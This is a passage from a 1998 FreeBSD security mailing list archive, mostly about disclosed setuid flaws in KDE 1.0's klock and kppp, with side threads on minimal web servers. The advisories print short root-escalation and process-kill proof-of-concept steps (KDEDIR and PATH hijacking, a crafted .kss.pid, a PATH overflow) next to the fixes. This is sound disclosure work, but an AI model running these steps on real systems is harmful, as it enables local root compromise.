reviewed). > > before: > p = (geteuid()) ? _PATH_MP_DB : _PATH_SMP_DB; > _pw_db = dbopen(p, O_RDONLY, 0, DB_HASH, NULL); > if (_pw_db) { > [code] > > after: > if((DB *)0 == (_pw_db=dbopen(_PATH_SMP_DB, O_RDONLY, 0, DB_HASH, NULL))) { > _pw_db = dbopen(_PATH_MP_DB, O_RDONLY, 0, DB_HASH, NULL); > } > if ((DB *)0 ==_pw_db) { > [code] > Looks good! As I said, I hope I will have time to make experiments this weekend. We may not forget the code that touches /etc/master.passwd and /etc/spwd.db for writing. I think this will be mainly pwd_mkdb and maybe others. We have to be careful here... -Andre To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Nov 18 05:36:29 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id FAA04259 for freebsd-security-outgoing; Wed, 18 Nov 1998 05:36:29 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from ns1.yes.no (ns1.yes.no [195.204.136.10]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id FAA04240; Wed, 18 Nov 1998 05:36:24 -0800 (PST) (envelope-from eivind@bitbox.follo.net) Received: from bitbox.follo.net (bitbox.follo.net [195.204.143.218]) by ns1.yes.no (8.9.1a/8.9.1) with ESMTP id OAA26056; Wed, 18 Nov 1998 14:35:55 +0100 (CET) Received: (from eivind@localhost) by bitbox.follo.net (8.8.8/8.8.6) id OAA01914; Wed, 18 Nov 1998 14:35:54 +0100 (MET) Message-ID: <19981118143552.00024@follo.net> Date: Wed, 18 Nov 1998 14:35:52 +0100 From: Eivind Eklund To: William McVey Cc: chat@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? References: <199811180046.SAA23057@s07.sa.fedex.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89.1i In-Reply-To: <199811180046.SAA23057@s07.sa.fedex.com>; from William McVey on Tue, Nov 17, 1998 at 06:45:47PM -0600 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org This question seems to belong exclusively in -chat, so I'm sending the reply there (with Bcc to security). On Tue, Nov 17, 1998 at 06:45:47PM -0600, William McVey wrote: > I'm somewhat new on the security list. What does it take to get > changes decided on? Does something like this need 'general consensus > and running code' (ala IETF), is something like this voted on, or does > someone just go out and do it once they get convinced? It depends on the exact case. Anything requires running code to get done - otherwise it is not done :-) Otherwise, the rules are * Anybody can commit whatever they want - but it will be backed out (by them or somebody else) if there is general dislike of it. If somebody is difficult about backouts, they loose their commit privileges (this has not happened _ever_, AFAIK). * General consensus rules all * David Greenman is final arbiter no matter what * Guido van Rooij is Security Officer and rules supreme in all issues related to security I'm not quite sure of the hierarchy between the last three here, and I don't think anybody else really is, either - there have AFAIK never been an actual conflict :-) Eivind. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Nov 18 07:56:09 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA22561 for freebsd-security-outgoing; Wed, 18 Nov 1998 07:56:09 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from cc181716-a.hwrd1.md.home.com (cc181716-a.hwrd1.md.home.com [24.3.18.63]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id HAA22555 for ; Wed, 18 Nov 1998 07:56:06 -0800 (PST) (envelope-from woodford@cc181716-a.hwrd1.md.home.com) Received: from localhost (woodford@localhost) by cc181716-a.hwrd1.md.home.com (8.9.1a/8.9.1a) with SMTP id LAA04776 for ; Wed, 18 Nov 1998 11:00:54 -0500 (EST) Date: Wed, 18 Nov 1998 11:00:53 -0500 (EST) From: Bill Woodford To: freebsd-security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? In-Reply-To: <199811172222.QAA12303@s07.sa.fedex.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tue, 17 Nov 1998, William McVey wrote: | Bill Woodford wrote: | >I think this is a good idea. The change in perms didnt seem to affect | >anything else in a bad way, and it got rid of a setuid. Andre, thanks | >for posting it! | | Did this work for you? Can you actually "break" your xlock? It | didn't work for me when I did it originally because getpwnam, which Ah geez. Sorry guys. I thought it was working, but I had an older version of xlock in my path. When I ran the proper xlock with the permissions, I couldnt break the xlock. | is what xlock apparently calls, only returns the shadow'ed encrypted | password entry if geteuid() returns 0 (at least this is how FreeBSD | 2.2.5 is does it (my 3.0 machine is suffering from hardware problems | right now). I posted a proposed "fix" for this, which no-one has | really commented on. Post it again, please :) I missed it. -- Bill Woodford * woodford@cc181716-a.hwrd1.md.home.com * ICQ:14076169 Volunteer Coordinator, Otakon 99: Convention of Otaku Generation "Windows Multitasking: Messing up several things at once." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Nov 18 08:30:24 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA26518 for freebsd-security-outgoing; Wed, 18 Nov 1998 08:30:24 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from point.osg.gov.bc.ca (point.osg.gov.bc.ca [142.32.102.44]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA26512 for ; Wed, 18 Nov 1998 08:30:23 -0800 (PST) (envelope-from cy@cschuber.net.gov.bc.ca) Received: (from daemon@localhost) by point.osg.gov.bc.ca (8.9.1/8.8.8) id IAA01700; Wed, 18 Nov 1998 08:29:56 -0800 Received: from cschuber.net.gov.bc.ca(142.31.240.113), claiming to be "cwsys.cwsent.com" via SMTP by point.osg.gov.bc.ca, id smtpda01698; Wed Nov 18 08:29:35 1998 Received: (from uucp@localhost) by cwsys.cwsent.com (8.9.1/8.9.1) id IAA08137; Wed, 18 Nov 1998 08:28:27 -0800 (PST) Message-Id: <199811181628.IAA08137@cwsys.cwsent.com> Received: from localhost.cwsent.com(127.0.0.1), claiming to be "cwsys" via SMTP by localhost.cwsent.com, id smtpdTb8133; Wed Nov 18 08:28:19 1998 X-Mailer: exmh version 2.0.2 2/24/98 Reply-to: Cy Schubert - ITSD Open Systems Group From: Cy Schubert - ITSD Open Systems Group X-Sender: cy To: Cy Schubert - ITSD Open Systems Group cc: freebsd-security@FreeBSD.ORG Subject: Re: CVSup Proxied via Delegate In-reply-to: Your message of "Tue, 17 Nov 1998 14:35:35 PST." <199811172236.OAA17231@passer.osg.gov.bc.ca> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 18 Nov 1998 08:28:16 -0800 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org No need to reply to this. I've figured it out. Regards, Phone: (250)387-8437 Cy Schubert Fax: (250)387-5766 Open Systems Group Internet: cschuber@uumail.gov.bc.ca ITSD Cy.Schubert@gems8.gov.bc.ca Government of BC In message <199811172236.OAA17231@passer.osg.gov.bc.ca>, Cy Schubert writes: > Has anyone to used delegate to proxy CVSup across a firewall? > > > Regards, Phone: (250)387-8437 > Cy Schubert Fax: (250)387-5766 > Open Systems Group Internet: Cy.Schubert@uumail.gov.bc.ca > ITSD Cy.Schubert@gems8.gov.bc.ca > Government of BC > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Nov 18 08:32:07 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA26645 for freebsd-security-outgoing; Wed, 18 Nov 1998 08:32:07 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from wrath.cs.utah.edu ([155.99.198.100]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA26640 for ; Wed, 18 Nov 1998 08:32:06 -0800 (PST) (envelope-from danderse@cs.utah.edu) Received: from torrey.cs.utah.edu (torrey.cs.utah.edu [155.99.212.91]) by wrath.cs.utah.edu (8.8.8/8.8.8) with ESMTP id JAA02373; Wed, 18 Nov 1998 09:31:35 -0700 (MST) Received: (from danderse@localhost) by torrey.cs.utah.edu (8.9.1/8.9.1) id JAA24054; Wed, 18 Nov 1998 09:31:35 -0700 (MST) (envelope-from danderse@cs.utah.edu) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Wed, 18 Nov 1998 09:31:35 -0700 (MST) From: "David G. Andersen" To: wuebben@kde.org, cert@cert.org Cc: security@FreeBSD.ORG, danderse@cs.utah.edu, aleph1@dfw.net Subject: KDE kppp and klock have serious security flaws In-Reply-To: HD Moore's message of Mon, November 16 1998 <00a101be11cd$b00a8580$0100a8c0@entropy> References: <00a101be11cd$b00a8580$0100a8c0@entropy> X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <13906.59901.91263.217800@torrey.cs.utah.edu> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org HD Moore, FreeBSD-security, CERT: I haven't released this publically yet, but the bugs are apparent from a quick inspection of the source, or ktracing the binaries. From the ease with which this is exploitable, it seems fairly important for people running KDE in a nervous environment to apply HD Moore's and my fix as soon as possible. Aleph1: I'm CC:'ing you on this one, but it seems best if it's not released to bugtraq for a few days, all things considered. The version of KDE I'm using (1.0) is from the FreeBSD-ports collection. I don't have KDE installed on any other platforms at this time to test. HD Moore just posted one root exploit. A quick examination of KDE shows that that's not the only one. Fix: chmod a-s klock kppp Problems: 1 - Kill any process you want: setenv HOME "/tmp" echo thepid > /tmp/.kss.pid klock { KDE trusts the value of the HOME environment variable to contain your real home directory. They do think to check if the pid is -1, but that's about it. } 2 - Obviously, the problem found by HD Moore can take advantage of the race condition between the two execlp's that klock calls. From the KDE code: execlp( buffer, buffer, "-test", "-lock", 0 ); execlp("kblankscrn.kss","kblankscrn.kss","-test","-lock",0); Can we say TTCTTOU flaw? Less trivially exploitable, more serious. 3 - However, it doesn't even matter, because: KDE trusts the value of your KDEDIR environment variable. setenv KDEDIR /tmp echo "#!/bin/sh" > /tmp/kblankscrn.kss echo "id" >> /tmp/blankscrn.kss chmod +x /tmp/blankscrn.kss klock "oops" (This has ramifications in kppp as well) 3 - Hide files in other places in the filesystem. More minor, "kppp" doesn't check your $HOME directory very carefully when executing its make_directories() function, so it leaves ".kde" directory turds in its path. Unfortunately, it creates these as root, and then creates user-owned directories within them. The result? Writable directories on-demand, in the location of your choice. 4 - Buffer overflows? Oh dear. if(getenv("PATH") != NULL) strncat(path, getenv("PATH"), sizeof(path)-512); Er, well, what if I have a path that's more than 512 characters? Wouldn't it just be awful, if: setenv PATH ${PATH}:`perl -e "print 'a'x1000"` kppp Segmentation fault Insert obligatory plea for more security consciousness in setuid programs here. These are sloppy bugs which should have been avoided the first time around. I'll stick a slightly more polished advisory about this on my webpage soon. -Dave -- work: danderse@cs.utah.edu me: angio@pobox.com University of Utah http://www.angio.net/ Department of Computer Science Lo and Behold, HD Moore said: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > - --( the problem )-- > > The SUID program klock shipped with KDE 1.0 attempts to execute > kblankscrn.kss in the same directory as it. If kblankscrn.kss cannot > be executed (missing or mode -x) then klock will search the current > user's $PATH for any executable with the same name and execute it as > ROOT. If no executable is found in the current path it gives this > message: > > >Could not invoke kblankscrn.kss in $PATH or /opt/kde/bin > > Default modes for klock and kblankscrn.kss are: > > - -rwsr-xr-x 1 root root 8760 Mar 12 1998 /opt/kde/bin/klock > - -rwsr-xr-x 1 root root 43600 Mar 12 1998 > /opt/kde/bin/kblankscrn.kss > > Systems Affected: any system that runs KDE 1.0 > ____________________________________________________ > > > ( the exploit ) > > This is only exploitable if any of the following occurs: > > 1) klock is moved to another directory > 2) kblankscrn.kss is moved to another directory > 3) kblankscrn.kss is not executable > > To see if you are vulnerable... > > 1) as root, chmod 600 /opt/kde/bin/kblankscrn.kss > 2) login as a normal user > 3) create a shell script thats looks like: > > #!/bin/sh > echo Running script as `whoami`! > exit > > 4) name this script to kblankscrn.kss and mv to your home directory. > 5) execute /opt/kde/bin/klock, you should see: > > user@hostname:/home/user> /opt/kde/bin/klock > user@hostname:/home/user> Running script as root! > > 6) as root, chmod 755 /opt/kde/bin/kblankscrn.kss > ____________________________________________________ > > > - --( the fix )-- > > chmod 700 /opt/kde/bin/klock or wait until KDE is updated. > the KDE buglist has been notified > > > > > -----BEGIN PGP SIGNATURE----- > Version: PGP for Personal Privacy 5.0 > Charset: noconv > > iQA/AwUBNlDXoa51X44hunVSEQJl2wCgzFbX8KdOfCfOMZGREF5e9H2BGA8An3Qw > UmLBRO0nACQcXreodKkWFrpm > =rKnX > -----END PGP SIGNATURE----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Nov 18 08:45:19 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA28933 for freebsd-security-outgoing; Wed, 18 Nov 1998 08:45:19 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from dfw.nationwide.net (dfw.nationwide.net [198.175.15.10]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA28928 for ; Wed, 18 Nov 1998 08:45:17 -0800 (PST) (envelope-from aleph1@dfw.net) Received: from localhost (aleph1@localhost) by dfw.nationwide.net (8.9.0/8.9.0) with SMTP id KAA12536; Wed, 18 Nov 1998 10:41:08 -0600 (CST) Date: Wed, 18 Nov 1998 10:41:08 -0600 (CST) From: Aleph One X-Sender: aleph1@dfw.nationwide.net To: "David G. Andersen" cc: wuebben@kde.org, cert@cert.org, security@FreeBSD.ORG Subject: Re: KDE kppp and klock have serious security flaws In-Reply-To: <13906.59901.91263.217800@torrey.cs.utah.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Roger that. Due note I approved a message earlier today that hints to the fact that a binary program cannot securely find out where its binary is located at. Any person should be able to figure out the KHOME exploit in a snap with that hint. Aleph One / aleph1@dfw.net http://underground.org/ KeyID 1024/948FD6B5 Fingerprint EE C9 E8 AA CB AF 09 61 8C 39 EA 47 A8 6A B8 01 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Nov 18 09:10:09 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA02130 for freebsd-security-outgoing; Wed, 18 Nov 1998 09:10:09 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from huset.math.ntnu.no (huset.math.ntnu.no [129.241.211.212]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id JAA02043 for ; Wed, 18 Nov 1998 09:09:56 -0800 (PST) (envelope-from perhov@stud.math.ntnu.no) Received: (qmail 9237 invoked by uid 29119); 18 Nov 1998 17:09:17 -0000 Date: Wed, 18 Nov 1998 18:09:17 +0100 (MET) From: Per Kristian Hove X-Sender: perhov@huset.math.ntnu.no To: freebsd-security@FreeBSD.ORG Subject: pkhttpd (Was: Would this make FreeBSD more secure?) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tue, 17 Nov 1998, Garance A Drosihn wrote: > Seems to me the performance implications for web serving is > not very attractive. In my case I just go with a minimalist > web server (not apache, I think the name is just "thtppd") > to reduce the security exposure. (well, it reduces the > feature set too, of course, but I don't need the missing > features). or pkhttpd:-) You can find it at ftp://ftp.pnet.no/pub/unix/pkhttpd/1.5/ pkhttpd is a minimalist (compiled binary: 12KB) web server intended to be run from inetd (or djb's tcpserver). It was written for the PicoBSD project, as the minimalist web server they already had, has a very restrictive license. I (being the author) am of course biased, and would claim that it is fairly secure, but as I'm not a security programmer (just security-concerned), I could need some help. Is someone on this mailing list interested in helping? All you have to do is read through the ~250 lines of code and see if you find any weaknesses (I'm sure you will) or holes. Both I and the PicoBSD project would be very thankful. As for its features: - It handles 'GET' and 'HEAD' requests and does cgi. - It logs the date, IP-address and name of requested file of every connection. - When run as root, it runs in a chroot()'ed environment. It runs cgi programs with the user-id of the owner of the program (and never as root). - When run as an ordinary user, it runs in a subdirectory of the user's home. Your other files should be relatively safe, since it - doesn't allow '..' in file names/cgi programs. -- per kristian To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Nov 18 09:43:59 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA07091 for freebsd-security-outgoing; Wed, 18 Nov 1998 09:43:59 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from alive.znep.com (207-178-54-226.go2net.com [207.178.54.226]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA07084 for ; Wed, 18 Nov 1998 09:43:54 -0800 (PST) (envelope-from marcs@znep.com) Received: from localhost (marcs@localhost) by alive.znep.com (8.9.1/8.9.1) with ESMTP id JAA22891; Wed, 18 Nov 1998 09:39:57 -0800 (PST) (envelope-from marcs@znep.com) Date: Wed, 18 Nov 1998 09:39:56 -0800 (PST) From: Marc Slemko To: Garance A Drosihn cc: freebsd-security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? & sendmail changes in OpenBSD 2.4 In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tue, 17 Nov 1998, Garance A Drosihn wrote: > At 2:14 PM -0600 11/17/98, William McVey wrote: > >Cliff Skolnick wrote: > >> I am more concerned about stand alone daemons like sendmail, > >> syslog, apache, etc. > > > > Most of these services could easily be modified to start from > > inetd as wait services. Basically, inetd does the port binding, > > setuid-ing, and execing, just like it always does. As I've > > mentioned before, sendmail can definitely run in this manner. > > So could most web servers. > > Seems to me the performance implications for web serving is > not very attractive. In my case I just go with a minimalist > web server (not apache, I think the name is just "thtppd") > to reduce the security exposure. (well, it reduces the > feature set too, of course, but I don't need the missing > features). You may think that going with a minimalist so-called secure program gives you an advantage, but that isn't necessarily the case. With thttpd, for example, when I took a look at it a few months ago it didn't take more than a few minutes to figure out how it can be used to read any file on the system that the user running it has access to. That is now fixed in the current version, but if five minutes found that, who knows what actually sitting down and seriously trying to find holes would do. It is also possible for any user that can write content to block the entire server from working for anyone. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Nov 18 09:46:02 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA07700 for freebsd-security-outgoing; Wed, 18 Nov 1998 09:46:02 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from wrath.cs.utah.edu ([155.99.198.100]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA07606 for ; Wed, 18 Nov 1998 09:45:56 -0800 (PST) (envelope-from danderse@cs.utah.edu) Received: from torrey.cs.utah.edu (torrey.cs.utah.edu [155.99.212.91]) by wrath.cs.utah.edu (8.8.8/8.8.8) with ESMTP id KAA05405; Wed, 18 Nov 1998 10:45:26 -0700 (MST) Received: (from danderse@localhost) by torrey.cs.utah.edu (8.9.1/8.9.1) id KAA24209; Wed, 18 Nov 1998 10:45:26 -0700 (MST) (envelope-from danderse@cs.utah.edu) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Wed, 18 Nov 1998 10:45:25 -0700 (MST) From: "David G. Andersen" To: lnielson@hottub.caldera.com Cc: cert@cert.org, security@FreeBSD.ORG, wuebben@kde.org Subject: KDE vulnerability X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <13907.1747.809056.393231@torrey.cs.utah.edu> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Just a note. I haven't released this yet, though I've sent a copy to CERT and a few other interested parties. I received word from Aleph1 (@bugtraq) that he approved a posting earlier today which hints at the problems this advisory addresses. Even a not-too-clueful hacker will likely be able to figure it out. (cert, kde, freebsd, etc., here's the more updated advisory) -Dave -- work: danderse@cs.utah.edu me: angio@pobox.com University of Utah http://www.angio.net/ Department of Computer Science ---------------------------------------------- Security Bulletin November 18, 1998 Numerous Vulnerabilities in KDE 1.0 ---------------------------------------------- DESCRIPTION The K Desktop Environment (KDE) provides an integrated graphical desktop environment for UNIX workstations. As a part of this environment, it supplies its own PPP implementation (kppp) and its own screen locking environment (klock), both of which are installed setuid root. Both of these programs have numerous security vulnerabilities which can expose the computer to a root compromise by a local user. IMPACT Local users may obtain root priviledges, kill local processes, or create hidden directories on any local filesystem. AFFECTED PLATFORMS KDE 1.0 on FreeBSD (x86) and Linux (x86) appear vulnerable. Other platforms have not been tested and should be presumed vulnerable. DETAILS On November 16, 1998, HD Moore posted an advisory about flaws in KDE's klock program in which it was noted that the program will exec "blankscrn.kss" in the user's path if the ordinary .kss file could not be located. Further examination reveals more, and more serious security vulnerabilities in both klock, and kppp. The general problem is that KDE trusts user supplied environment variables too much. This trust leads to several problems: Trust of ".kss.pid" file contents: Arbitrary processes may be killed by klock, because KDE trusts the content of the ".kss.pid" file, containing the process ID of other running klock processes. If it finds them, it kills them. A user can place an arbitrary PID in this file, which klock will kill, as root. setenv HOME "/tmp" echo thepid > /tmp/.kss.pid klock A race condition (TTCTTOU flaw) in locating kblankscrn.kss: Obviously, the problem found by HD Moore can take advantage of the race condition between the two execlp's that klock calls. From the KDE code: execlp( buffer, buffer, "-test", "-lock", 0 ); execlp("kblankscrn.kss","kblankscrn.kss","-test","-lock",0); This is less trivially exploitable, but is still serious, and can lead to root compromise. KDE trusts the value of the KDEDIR environment variable. In numerous locations, KDE uses the value returned by kde_bindir to locate its executables. The value of this is determined by the KDEDIR environment variable. In the klock case, KDE uses this directory as the initial search path for locating the screensaver to be executed, which it does as root: setenv KDEDIR /tmp echo "#!/bin/sh" > /tmp/kblankscrn.kss echo "id" >> /tmp/blankscrn.kss chmod +x /tmp/blankscrn.kss klock This flaw has similar ramifications in kppp. kppp trusts the value of the HOME environment variable: When kppp starts up, it attempts to create a set of nested directories to contain logfiles and configuration files. To locate these files, it uses the value of the HOME environment variable, and the make_directories function uses this to create a ".kde" directory as root. Within this directory, it creates several subdirectories which are owned by the user. The result is that a user can create a ".kde" directory in an arbitrary location (potentially overwriting another user's .kde directory), with writable scratch space contained within. kppp fails to check the length of the PATH environment variable when copying its contents into a static buffer: if(getenv("PATH") != NULL) strncat(path, getenv("PATH"), sizeof(path)-512); REMEDY chmod a-s klock kppp VENDOR CONTACTS FreeBSD: http://www.freeBSD.org/ FreeBSD makes KDE available as a port; it is not installed by default. Caldera: http://www.caldera.com/ Caldera's website indicates that they ship KDE as a standard component, but I haven't tested a Caldera system to see if it is vulnerable. KDE: http://www.kde.org/ SEE ALSO http://www.geek-girl.com/bugtraq/1998_4/0478.html (original posting by HD Moore) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Nov 18 09:57:07 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA10141 for freebsd-security-outgoing; Wed, 18 Nov 1998 09:57:07 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from fledge.watson.org (FLEDGE.RES.CMU.EDU [128.2.93.229]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA10136 for ; Wed, 18 Nov 1998 09:57:05 -0800 (PST) (envelope-from robert@cyrus.watson.org) Received: from fledge.watson.org (robert@fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.8.8/8.8.8) with SMTP id MAA02550; Wed, 18 Nov 1998 12:56:30 -0500 (EST) Date: Wed, 18 Nov 1998 12:56:30 -0500 (EST) From: Robert Watson X-Sender: robert@fledge.watson.org Reply-To: Robert Watson To: Per Kristian Hove cc: freebsd-security@FreeBSD.ORG Subject: Re: pkhttpd (Was: Would this make FreeBSD more secure?) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, 18 Nov 1998, Per Kristian Hove wrote: > pkhttpd is a minimalist (compiled binary: 12KB) web server intended to be > run from inetd (or djb's tcpserver). It was written for the PicoBSD > project, as the minimalist web server they already had, has a very > restrictive license. I (being the author) am of course biased, and would > claim that it is fairly secure, but as I'm not a security programmer (just > security-concerned), I could need some help. Is someone on this mailing > list interested in helping? All you have to do is read through the ~250 > lines of code and see if you find any weaknesses (I'm sure you will) or > holes. Both I and the PicoBSD project would be very thankful. This sounds great. > As for its features: > - It handles 'GET' and 'HEAD' requests and does cgi. > - It logs the date, IP-address and name of requested file of every > connection. > - When run as root, it runs in a chroot()'ed environment. It runs > cgi programs with the user-id of the owner of the program (and never as > root). > - When run as an ordinary user, it runs in a subdirectory of the user's > home. Your other files should be relatively safe, since it > - doesn't allow '..' in file names/cgi programs. This may be vulnerable to hard-link attacks. That is, if there is an untrusted user with an account on the system, and their home directory is on the same partition as some setuid binary, they can hard link to it. The same goes for any binary, of course. It might be desirable to require the uid of the binary to be the same as the directory it is in (no hard linking directories for non-root), or to require that the link count be 1 for the binary (this is not always good, and in the event of a system upgrade is not always telling -- see below) BTW, this is always a problem when upgrading buggy setuid binaries, and is a good reason to keep an eye on your daily security mailing. That a user can preserve setuid programs across an OS upgrade is somewhat unfortunate, but given hard links, hard to prevent :). Robert N Watson robert@fledge.watson.org http://www.watson.org/~robert/ PGP key fingerprint: 03 01 DD 8E 15 67 48 73 25 6D 10 FC EC 68 C1 1C Carnegie Mellon University http://www.cmu.edu/ TIS Labs at Network Associates, Inc. http://www.tis.com/ SafePort Network Services http://www.safeport.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Nov 18 09:57:39 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA10179 for freebsd-security-outgoing; Wed, 18 Nov 1998 09:57:39 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from fledge.watson.org (FLEDGE.RES.CMU.EDU [128.2.93.229]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA10164 for ; Wed, 18 Nov 1998 09:57:30 -0800 (PST) (envelope-from robert@cyrus.watson.org) Received: from fledge.watson.org (robert@fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.8.8/8.8.8) with SMTP id MAA02562 for ; Wed, 18 Nov 1998 12:57:03 -0500 (EST) Date: Wed, 18 Nov 1998 12:57:03 -0500 (EST) From: Robert Watson X-Sender: robert@fledge.watson.org Reply-To: Robert Watson To: security@FreeBSD.ORG Subject: Re: KDE kppp and klock have serious security flaws (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org (damn it, stupid finger :) Robert N Watson robert@fledge.watson.org http://www.watson.org/~robert/ PGP key fingerprint: 03 01 DD 8E 15 67 48 73 25 6D 10 FC EC 68 C1 1C Carnegie Mellon University http://www.cmu.edu/ TIS Labs at Network Associates, Inc. http://www.tis.com/ SafePort Network Services http://www.safeport.com/ ---------- Forwarded message ---------- Date: Wed, 18 Nov 1998 12:52:45 -0500 (EST) From: Robert Watson Reply-To: Robert Watson To: "David G. Andersen" Cc: cert@cert.org, securit@freebsd.org, aleph1@dfw.net, wuebben@kde.org Subject: Re: KDE kppp and klock have serious security flaws I have been aware of a number of these bugs for quite a while now; unfortunately I have not had time to attempt to exploit them, etc. I'm glad someone has gotten around to noticing and attempting to deal with them. In general the KDE code is pretty sloppy in this area -- I have noticed that a number of the screen savers write out their config files as root (that is, they end up being owned by root), and have a tendancy to core-dump, etc. Similarly, the su'd kfm they provide for priviledged disk access automatically performs an xhost +locahost (or variation) which isn't so good if you have a workstation people can log into remotely. Similarly, I believe that the automatic interpretation of directories with index.html as web pages can cause problems -- I suspect that many overflows exist in their browser, and automatic HTML interpretation can cause problems. Overall, I would say KDE is chock-full-o-bugs and the setuid portions of it need to be seriously reconsidered. There has been recent discussion on the FreeBSD security mailing list of a seperate binary performing password checks as a slave of a normal screen saver binary. This might be an appropriate model to follow, given the complexity of the screen saver code. BTW, freebsd-security is not the private mailing list -- you may have intended to send that to security-officer@freebsd.org. On Wed, 18 Nov 1998, David G. Andersen wrote: > > HD Moore, FreeBSD-security, CERT: > > I haven't released this publically yet, but the bugs are > apparent from a quick inspection of the source, or > ktracing the binaries. From the ease with which this > is exploitable, it seems fairly important for people > running KDE in a nervous environment to apply HD Moore's > and my fix as soon as possible. > > Aleph1: I'm CC:'ing you on this one, but it seems best > if it's not released to bugtraq for a few days, all things > considered. > > The version of KDE I'm using (1.0) is from the FreeBSD-ports > collection. I don't have KDE installed on any other > platforms at this time to test. > > > HD Moore just posted one root exploit. A quick examination > of KDE shows that that's not the only one. > > Fix: > > chmod a-s klock kppp > > Problems: > > 1 - Kill 